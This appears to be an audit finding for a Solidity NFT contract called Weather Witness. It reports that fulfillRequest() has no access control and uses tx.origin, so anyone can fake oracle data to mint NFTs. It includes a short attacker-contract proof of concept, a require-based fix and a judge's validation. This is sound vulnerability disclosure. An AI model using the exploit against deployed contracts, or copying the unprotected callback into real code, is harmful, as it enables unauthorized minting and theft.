Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthenticated Oracle Fulfillment — Anyone Can Call fulfillRequest()

Root + Impact

The fulfillRequest() function has no access control, allowing any user to spoof an oracle response and mint NFTs arbitrarily.

Description

  • Normally, only the Chainlink Oracle should call fulfillRequest().

  • The function is external and has no require(msg.sender == oracle).

function fulfillRequest(bytes memory response, bytes memory err) external {
if (err.length > 0) {
revert UnexpectedError();
}
latestWeather = string(response);
finalizeMint(tx.origin);
}

Risk

Likelihood:

  • fulfillRequest() callable by anyone.

  • tx.origin used instead of msg.sender.

Impact:

  • NFT minting logic can be triggered with fake weather data.

  • Complete bypass of the oracle system.

Proof of Concept

An attacker simulates a successful mint and calls the function directly to mint an NFT.

// Attacker contract
contract FakeOracle {
WeatherNft nft;
constructor(address _nft) {
nft = WeatherNft(_nft);
}
function attack() public {
bytes memory fakeWeather = bytes("⛅️");
nft.fulfillRequest(fakeWeather, "");
}
}

Recommended Mitigation

Add an onlyOracle modifier or validation inside fulfillRequest():

function fulfillRequest(bytes memory response, bytes memory err) external {
require(msg.sender == oracle, "Unauthorized caller");
...
}
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.